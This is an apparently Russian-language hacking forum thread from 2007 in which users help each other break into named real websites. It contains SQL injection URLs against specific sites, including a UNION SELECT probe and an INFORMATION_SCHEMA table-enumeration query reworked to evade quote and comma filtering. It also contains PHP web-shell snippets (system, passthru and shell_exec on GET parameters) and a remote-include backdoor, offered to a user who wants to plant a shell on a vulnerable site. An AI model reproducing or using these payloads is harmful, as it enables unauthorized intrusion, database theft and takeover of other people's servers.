04.09.2007, 13:40
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от hayabusa
TO mindw0rk:
 Изначально цель другая была ..а это один из сервисов.
Ошибка выдается при обращении
http://baltportal.ru/index.php?type=500&idNews=7338'
раз уж уважаемый mindw0rk все раскусил=) не вижу проблеммы
Код:
http://baltportal.ru/index.php?type=500&idNews=-7338%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
копай там 5 мускул
имхо выборка из базы в пхп засабачена (@) поэтому то переменные не инициализируются а при правильном запросе все присваивается
__________________
Карфаген должен быть разрушен...
Последний раз редактировалось Scipio; 04.09.2007 в 13:48..
|
|
|
04.09.2007, 13:05
|
|
Новичок
Регистрация: 03.09.2007
Сообщений: 4
С нами:
9835351
Репутация:
0
|
|
http://nwlove.ru/?type=115'
|
|
|
|
04.09.2007, 12:15
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
2hayabusa
а че тут думать в скрипте используются ранее неопределенные переменные
и при чем тут подстановка кол-ва таблиц
скрипт давай мож че подскажу
__________________
Карфаген должен быть разрушен...
|
|
|
|
05.09.2007, 14:46
|
|
Познающий
Регистрация: 18.01.2007
Сообщений: 63
С нами:
10163605
Репутация:
27
|
|
php инекция
извиняюсь за ламерский вопрос... просто я в php вобще ноль...  вобщем допустим я нашол дырявый сайт и нашол несколько скриптов которые можно "поправить" вопрос как мне в них внедрить свой маленький шел т.е. мне нужна только командная строка... пытался сделать так:
PHP код:
<?
код скрипта
?>
<?
system($_GET['c']);
?>
неработает....
и вот так пытался
PHP код:
<?
код скрипта
system($_GET['c']);
?>
тоже нехочет работать... подскажите как правильно это сделать? |
|
|
|
05.09.2007, 14:55
|
|
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
С нами:
9920546
Репутация:
1796
|
|
скорее всего запрещенно выполнение команды system в php.ini попробуй несколько других функций типа passthru($_GET['c']), shell_exec($_GET['c']) если мне не изменяет память есть еще несколько но скорее всего они тоже запрещенны.
ЗЫ еще поробуй вот так
Код:
<?php
код скрипта
system($_GET['c']);
?>
__________________
Кто я?..
Последний раз редактировалось I-I()/Ib; 05.09.2007 в 14:56..
Причина: блин...
|
|
|
|
05.09.2007, 14:56
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
попробуй вот это вставить вначале скрипта
Код:
<?
@system($_GET['cmd']);
?>
если не стоит safemode и system не отключена должно работать, а если всетаки все отключено можешь так
Код:
<?
@include($_GET['incld']);
?>
и будешь вызывать так:
http://сайт.дмн/скрипт.пхп?incld=путь до твоего шелла
и инклюдь шелл
__________________
Карфаген должен быть разрушен...
Последний раз редактировалось Scipio; 05.09.2007 в 16:25..
|
|
|
|
11.09.2007, 17:31
|
|
Познающий
Регистрация: 13.08.2007
Сообщений: 37
С нами:
9866407
Репутация:
1
|
|
Немогу выполнить такой вот запрос.
htt_p://la2.spark-games.ru/la2info/?part=items&id=1'+or+1=(select+top+1+TABLE_NAME+FR OM+INF ORMATION_SCHEMA.TABLES+where+TABLE_NAME+NOT+IN+('s kill_acquire'))--
В чём проблема?
|
|
|
|
11.09.2007, 17:37
|
|
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
С нами:
10153766
Репутация:
2565
|
|
Сообщение от mental2
Немогу выполнить такой вот запрос.
htt_p://la2.spark-games.ru/la2info/?part=items&id=1'+or+1=(select+top+1+TABLE_NAME+FR OM+INF ORMATION_SCHEMA.TABLES+where+TABLE_NAME+NOT+IN+('s kill_acquire'))--
В чём проблема?
В филтрации кавычек читай здесь https://forum.antichat.ru/showpost.php?p=456474&postcount=29
|
|
|
|
11.09.2007, 17:47
|
|
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
С нами:
10172486
Репутация:
874
|
|
Попробовал выполнить с двойными ковычками в имени таблицы, получил имя второй (sa_names), дальше нету Не пойму ??? |
|
|
|
11.09.2007, 18:00
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от Red_Red1
Попробовал выполнить с двойными ковычками в имени таблицы, получил имя второй (sa_names), дальше нету Не пойму ??? там еще запятые фильтруются, делай по такому принципу:
Код:
http://la2.spark-games.ru/la2info/?part=items&id=1+or+1=(select+top+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+(TABLE_NAME+NOT+IN+(%22skill_acquire%22))%20and%20TABLE_NAME+NOT+IN+(%22sa_names%22))--
3-я таблица skill_names и т.д.
__________________
Карфаген должен быть разрушен...
Последний раз редактировалось Scipio; 11.09.2007 в 18:04..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [53x]Shadow](/avatars/avatar32248.jpg?457592){kind=avatar}
Похожие темы
Комбинированный вид
